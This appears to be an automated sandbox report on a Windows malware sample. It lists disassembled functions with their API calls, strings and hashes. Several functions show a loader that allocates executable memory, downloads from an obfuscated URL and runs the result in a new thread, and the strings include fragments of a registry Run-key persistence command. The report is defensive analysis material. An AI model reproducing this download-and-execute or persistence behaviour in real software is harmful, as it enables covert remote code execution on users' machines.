API ID: _memset$Sleep$Open$Processwsprintf$CloseFileInitVariant$HandleToken_rand$CreateH_prolog3_Initialize__time64$AddressAtomDebugExecuteFindGlobalInstanceLibraryLoadModuleNameOutputProcReadSecurityShellSizeStringValueWindow__mbstowcs_l_helper_doexit_mbstowcs_strcat_s_strrchr
String ID: (x8$%s%s$%s%s$%s.e$.exe$0SafeMonClass$2.l$6)\$A$BkSha$C:\P$CU\SOF$G_SZ /d "$Open$Q36$Shel$Shel$TWARE\Mic$am F$cef.dll$cute$d "HK$dll$dowWndClass$dows\Curr$entVe$ft\Win$g.e$iles$l32.$lExe$lalala123%$le:///$long$mo /t RE$rogr$roso$rsion\R$t3d.$t4d.$t5d.$text/$tmp$tmp$tmp$un" /v de$xe
API String ID: 1147809085-329007690
Opcode ID: c9c76253132aca2ab718f9d89e5fd2c160784e6ca4753814a731e3336da5125a
Instruction ID: dc6513a9a33df5a03291291388f4a278a9130dac831befe3f30b2f877d04dd66
Opcode Fuzzy Hash: c9c76253132aca2ab718f9d89e5fd2c160784e6ca4753814a731e3336da5125a
Instruction Fuzzy Hash: 14B2E27554C3C5AAE221DB60D841FABB7E9EFC4740F00482EF5C8CB291EAB199458B97

Function 100092BD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fassign.LIBCMT ref: 100093B4
_memset.LIBCMT ref: 100093E8
_memset.LIBCMT ref: 1000940C
_strcat_s.LIBCMT ref: 10009427
_sprintf.LIBCMT ref: 100094A8
_sprintf.LIBCMT ref: 100094D0
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 10009506
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 1000958F
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095E7

Strings

:, xrefs: 10009487
text.e, xrefs: 100093CB
%s%s, xrefs: 100094A2
\, xrefs: 10009471

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: aba15cbcf159c5397c3b58f27901ccbb05b5e636e9b34114cb7cb38800ea22fe
Instruction ID: 73a716f2663df8b8e92aea41c103b71399f1627729841feff5178e0e12803359
Opcode Fuzzy Hash: aba15cbcf159c5397c3b58f27901ccbb05b5e636e9b34114cb7cb38800ea22fe
Instruction Fuzzy Hash: CC91C171D00A289BFB61CB64CC85BDAB7B8EB09395F0001E6E618A7185D770AFC5CF90

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10002D4B
_memset.LIBCMT ref: 10002D74
Sleep.KERNEL32(00000001), ref: 10002D94
_malloc.LIBCMT ref: 10002DCE
_memset.LIBCMT ref: 10002DFB
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 10002E13
_free.LIBCMT ref: 10002E1A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 10002E42
FlushFileBuffers.KERNEL32(?), ref: 10002E4E
CloseHandle.KERNEL32(?), ref: 10002E5A

Strings

cef.dll, xrefs: 10002DA9
lib, xrefs: 10002D8C

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: 02a9663989b2535b9b667b5f5214ff059ed2fc648b7a80196c2787ababd5737a
Instruction ID: 95ace9bfcda8c33f9a2fbc6e56799451f67ef5c6450e70c67937a253407d00e2
Opcode Fuzzy Hash: 02a9663989b2535b9b667b5f5214ff059ed2fc648b7a80196c2787ababd5737a
Instruction Fuzzy Hash: 3E31B17190022CAFEB25DF24CC85FEAB7B9EB19340F0041E5F688A6150DAB19FC58F50

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10002908
_memset.LIBCMT ref: 1000291A
_memset.LIBCMT ref: 10002929
_memset.LIBCMT ref: 10002B1A
_memset.LIBCMT ref: 10002C37
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 10002CA0
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10002CC3
FlushFileBuffers.KERNEL32(00000000), ref: 10002CCA
CloseHandle.KERNEL32(00000000), ref: 10002CD1

Strings

<, xrefs: 100029B0

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction ID: a1f269842447a9dcddcd4be163bf2b0c8b7a3912157e6269aeea71cf59aacecc
Opcode Fuzzy Hash: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction Fuzzy Hash: D5C1CB76900228AFEB21DF648C85DEABBFDEB09394F14C1E6F509A2150DB319F858F54

Function 1000916F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 100091D4
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 100091E8
__fassign.LIBCMT ref: 1000919B

Part of subcall function 1000BE5B: __mbsnbcpy_l.LIBCMT ref: 1000BE6B

__fassign.LIBCMT ref: 10009253
__fassign.LIBCMT ref: 10009282
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 10009295
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 100092A9

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: 19ae208bd58dd0a62daa5c8630e2a55888f4f76b224036dc7dc1bf30700462e9
Instruction ID: 5956e6d2c7f77d4cc5354552260656b707d8c1af4a1ca73f2dd12bb7e3efa789
Opcode Fuzzy Hash: 19ae208bd58dd0a62daa5c8630e2a55888f4f76b224036dc7dc1bf30700462e9
Instruction Fuzzy Hash: 5F4115B590428D6BEB50CB68CC88BEA7BEDDB05380F5101E5E994D3186DA709F88CB61

Function 1000A063 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000A06D
wsprintfA.USER32 ref: 1000A0FC
wsprintfA.USER32 ref: 1000A41F

Part of subcall function 10008B91: __fassign.LIBCMT ref: 10008BA4

_wprintf.LIBCMT ref: 1000A19B
std::_Xinvalid_argument.LIBCPMT ref: 1000A3FB
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 1000A435

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 1863cefe874f6a2905126f379e4623ae0e068400ea30a9de8a16e8999d1a0f9b
Instruction ID: 15dd9eba096bb05e6903e10c230cd1e13f32cb1ae0f886c9acc3da2af926b47a
Opcode Fuzzy Hash: 1863cefe874f6a2905126f379e4623ae0e068400ea30a9de8a16e8999d1a0f9b
Instruction Fuzzy Hash: D9C16A7590425D9BEF12CFA4CC81ADDBBB8EF0A380F5142AAE909A7145D770AF85CF41

Function 0041E2F0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 152
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 0041E3D6
VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000040), ref: 0041E596
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0041E5C0
InternetOpenUrlA.WININET(?,lxxt>33{if2eh<;l=6n2gsq383psrk2fqt,00000000,00000000,80000000,00000000), ref: 0041E5E2
InternetReadFile.WININET(?,0041DD61,00002000,00000000), ref: 0041E62A
CreateThread.KERNEL32(00000000,00000000,0041DD61,00000000,00000000,00000000), ref: 0041E68D

Strings

kernelbase.dll, xrefs: 0041E39C, 0041E3A2
yD!, xrefs: 0041E42D, 0041E433
", xrefs: 0041E564
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 0041E56D
wininet, xrefs: 0041E462, 0041E465

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Internet$AllocOpenVirtual$CreateFileReadThread
String ID: yD!$"$kernelbase.dll$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$wininet
API String ID: 888647566-1721200774
Opcode ID: 4d0b3a79dcd4e7d596c47529b862d687612677ed70ea5f595ceac2508d7d9ac4
Instruction ID: 623c906f95c9da6c16d420e17b8d91c141829e4481f2fc7ed3a947ce29f94885
Opcode Fuzzy Hash: 4d0b3a79dcd4e7d596c47529b862d687612677ed70ea5f595ceac2508d7d9ac4
Instruction Fuzzy Hash: 83811274D082D8DAEB21C7A8C845BDDBFB55F16308F0440D9D54C6B282D6BA1A89CF76

Function 0041E2FC Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 149
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 0041E3D6
VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000040), ref: 0041E596
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0041E5C0
InternetOpenUrlA.WININET(?,lxxt>33{if2eh<;l=6n2gsq383psrk2fqt,00000000,00000000,80000000,00000000), ref: 0041E5E2
InternetReadFile.WININET(?,0041DD61,00002000,00000000), ref: 0041E62A
CreateThread.KERNEL32(00000000,00000000,0041DD61,00000000,00000000,00000000), ref: 0041E68D

Strings

kernelbase.dll, xrefs: 0041E39C, 0041E3A2
yD!, xrefs: 0041E42D, 0041E433
", xrefs: 0041E564
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 0041E56D
wininet, xrefs: 0041E462, 0041E465

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Internet$AllocOpenVirtual$CreateFileReadThread
String ID: yD!$"$kernelbase.dll$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$wininet
API String ID: 888647566-1721200774
Opcode ID: 9452b264d25dac475f4074dff6a4018720b12199581eb2f8ac1ce47a17232ddb
Instruction ID: b65f7d9f8d1d3821c8bbb5f6cff8458409593011b3cdd8c47f9d075a89a1e1c7
Opcode Fuzzy Hash: 9452b264d25dac475f4074dff6a4018720b12199581eb2f8ac1ce47a17232ddb
Instruction Fuzzy Hash: B4811270D082D8CAEB21C7A8C845BDDBFB55F16308F0440C9D58C6B282D6BA1A89CF76

Function 0041E3C0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 113
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 0041E3D6
VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000040), ref: 0041E596
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0041E5C0
InternetOpenUrlA.WININET(?,lxxt>33{if2eh<;l=6n2gsq383psrk2fqt,00000000,00000000,80000000,00000000), ref: 0041E5E2
InternetReadFile.WININET(?,0041DD61,00002000,00000000), ref: 0041E62A
CreateThread.KERNEL32(00000000,00000000,0041DD61,00000000,00000000,00000000), ref: 0041E68D

Strings

yD!, xrefs: 0041E42D, 0041E433
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 0041E56D
", xrefs: 0041E564
wininet, xrefs: 0041E462, 0041E465

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Internet$AllocOpenVirtual$CreateFileReadThread
String ID: yD!$"$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$wininet
API String ID: 888647566-1188908620
Opcode ID: d701e409cc7fe1718f258852857aff5a846aa5a3e903356f42b43b73fbba2159
Instruction ID: 33fa3182d6b165933f782540616ed7a8ec7c2dbebca50b971cabd339385a84ae
Opcode Fuzzy Hash: d701e409cc7fe1718f258852857aff5a846aa5a3e903356f42b43b73fbba2159
Instruction Fuzzy Hash: CD511070D083D8DEEB22C7E8C845BDDBFB56F16308F0440D9D5486B282D6BA5689CB61

Function 0041E3D0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 110
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 0041E3D6
VirtualAlloc.KERNEL32(00000000,00400000,00001000,00000040), ref: 0041E596
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0041E5C0
InternetOpenUrlA.WININET(?,lxxt>33{if2eh<;l=6n2gsq383psrk2fqt,00000000,00000000,80000000,00000000), ref: 0041E5E2
InternetReadFile.WININET(?,0041DD61,00002000,00000000), ref: 0041E62A
CreateThread.KERNEL32(00000000,00000000,0041DD61,00000000,00000000,00000000), ref: 0041E68D

Strings

yD!, xrefs: 0041E42D, 0041E433
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 0041E56D
", xrefs: 0041E564
wininet, xrefs: 0041E462, 0041E465

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Internet$AllocOpenVirtual$CreateFileReadThread
String ID: yD!$"$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$wininet
API String ID: 888647566-1188908620
Opcode ID: 275520eb13d6aae80762d9d4b945fdc418e56d059aefb6b161d0ecca120b5b35
Instruction ID: 0c11e0552b2280fffe97f3f8304bdb3ce31334ffa7dae5c497ac64cd3c387fe7
Opcode Fuzzy Hash: 275520eb13d6aae80762d9d4b945fdc418e56d059aefb6b161d0ecca120b5b35
Instruction Fuzzy Hash: 6C51FE70D082D8DEEB12C7E9C844BDDBFB56F16308F4441C9D5486B282D6BA5A89CF62

Function 1000BD08 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

std::exception::exception.LIBCMT ref: 1000BD57
std::exception::exception.LIBCMT ref: 1000BD71
__CxxThrowException@8.LIBCMT ref: 1000BD82

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: d95f4789413638b91aa84ecef32e181d789e58a5d6bfa65bce0fdfdeccd2f804
Instruction ID: bd7f334f1e932a3e7b8b1a8aa2d400e353e82d7f1e8fab280da3017615532154
Opcode Fuzzy Hash: d95f4789413638b91aa84ecef32e181d789e58a5d6bfa65bce0fdfdeccd2f804
Instruction Fuzzy Hash: 5FF02838400A5EABFB04DF54CC42DED7BA5EB002D0F60052AF814EA0A5DF74EB868740

Function 0043332F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00433336

Part of subcall function 004332AF: __EH_prolog3_GS.LIBCMT ref: 004332B9
Part of subcall function 004332AF: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,00000218,0043335B,\QyGameClient\), ref: 004332FA

Strings

qygame.ini, xrefs: 0043333F
\QyGameClient\, xrefs: 00433349

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: H_prolog3_$FolderPathSpecial
String ID: \QyGameClient\$qygame.ini
API String ID: 1784272655-2300333553
Opcode ID: a599291d04c1a68fd9715e4e9e0275ecda60f953d1e72b3cd073e8b9fa0a833c
Instruction ID: cf6a40eb08eeb7cdcd8718e04668a923d0cae2d1ab25975f5cd6366f2272e33a
Opcode Fuzzy Hash: a599291d04c1a68fd9715e4e9e0275ecda60f953d1e72b3cd073e8b9fa0a833c
Instruction Fuzzy Hash: 6AE04871E0051467EB04BA668C17BAD75259F1572AF84105DF401771D3EE7D0B0486D9

Function 100086D0 Relevance: 4.6, APIs: 3, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000871C

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

_malloc.LIBCMT ref: 1000872D
_free.LIBCMT ref: 10008749

Part of subcall function 1000B491: RtlFreeHeap.NTDLL(00000000,00000000,?,1000B064,?,?,1000101C), ref: 1000B4A7
Part of subcall function 1000B491: GetLastError.KERNEL32(?,?,1000B064,?,?,1000101C), ref: 1000B4B9

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast_free
String ID:
API String ID: 916394080-0
Opcode ID: 837609307f65886bb47649daf76a89e801dd23e5ecd3fbcbb059fa23ab0b8768
Instruction ID: a00e60491e46dfd1ee58bbd4593486312fc2ca9a753c64ce6e520688288dc10f
Opcode Fuzzy Hash: 837609307f65886bb47649daf76a89e801dd23e5ecd3fbcbb059fa23ab0b8768
Instruction Fuzzy Hash: 70415B75A04656EFEB55CF68C480598BBF8FF08780720419AE999DB74AD730EA50CFD0

Function 10007FB6 Relevance: 4.6, APIs: 3, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 10007E17: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000001,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007FEE
_malloc.LIBCMT ref: 1000801E

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: FilePointer$_malloc
String ID:
API String ID: 3040784002-0
Opcode ID: 3abdc7963d51b88941e282f6540f042fba73ebc693227e2f12099e044fa6053d
Instruction ID: e9e65de8990a35600aa63ecf93a5fe2b6943994b54ace195112ba4e3cbd13dc3
Opcode Fuzzy Hash: 3abdc7963d51b88941e282f6540f042fba73ebc693227e2f12099e044fa6053d
Instruction Fuzzy Hash: BC41E170E0024AAFFB50DAA4C845B5EBBF1FF043D4F11816AEA54E7289E7759F488B40

Function 10002E6F Relevance: 4.6, APIs: 3, Instructions: 68fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96

Part of subcall function 1000AA9E: _malloc.LIBCMT ref: 1000BD22

ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: File$CreateReadSize_malloc
String ID:
API String ID: 1520594064-0
Opcode ID: a95b2213d73165cd3d6775a3d50b751076bb32b1058e07c2771ba57d7c97f6cb
Instruction ID: 68624f3e933efa91eaa5f7396baae24bc5eaf6790c19fd373594060868047bb5
Opcode Fuzzy Hash: a95b2213d73165cd3d6775a3d50b751076bb32b1058e07c2771ba57d7c97f6cb
Instruction Fuzzy Hash: 4E1156756001287AFB11AF61DCC9EEB3F6CEF466E0F008125F909A6156DA70AE45C7F0

Function 10007D6B Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000141,00000141,?,10008B63,?,?), ref: 10007D8C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000140,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10007DB0
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000020,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10007DE5

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 728afc4fb06e335d4fafcc7d92433849b5f48e6cfbb3e06e1ad6d3530bb74562
Instruction ID: 4f656ac9fc5f2f06108f91d7ec9c633ab968d44dc8153898d38ee8b8eb82a3a9
Opcode Fuzzy Hash: 728afc4fb06e335d4fafcc7d92433849b5f48e6cfbb3e06e1ad6d3530bb74562
Instruction Fuzzy Hash: 0611C671504348BEE7118F688C80B9ABBECEF053A4F10895DF595A72C1D2B1AD448B20

Function 100080E7 Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 10008116

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 7213c61829fe7ab4cc5639b422b216faffa918b448852484d9944ef95b569b9c
Instruction ID: 3476ce63d3aaa573aec64c0bffa9ef49cde6163629ebf3a1eccc858e77ab2209
Opcode Fuzzy Hash: 7213c61829fe7ab4cc5639b422b216faffa918b448852484d9944ef95b569b9c
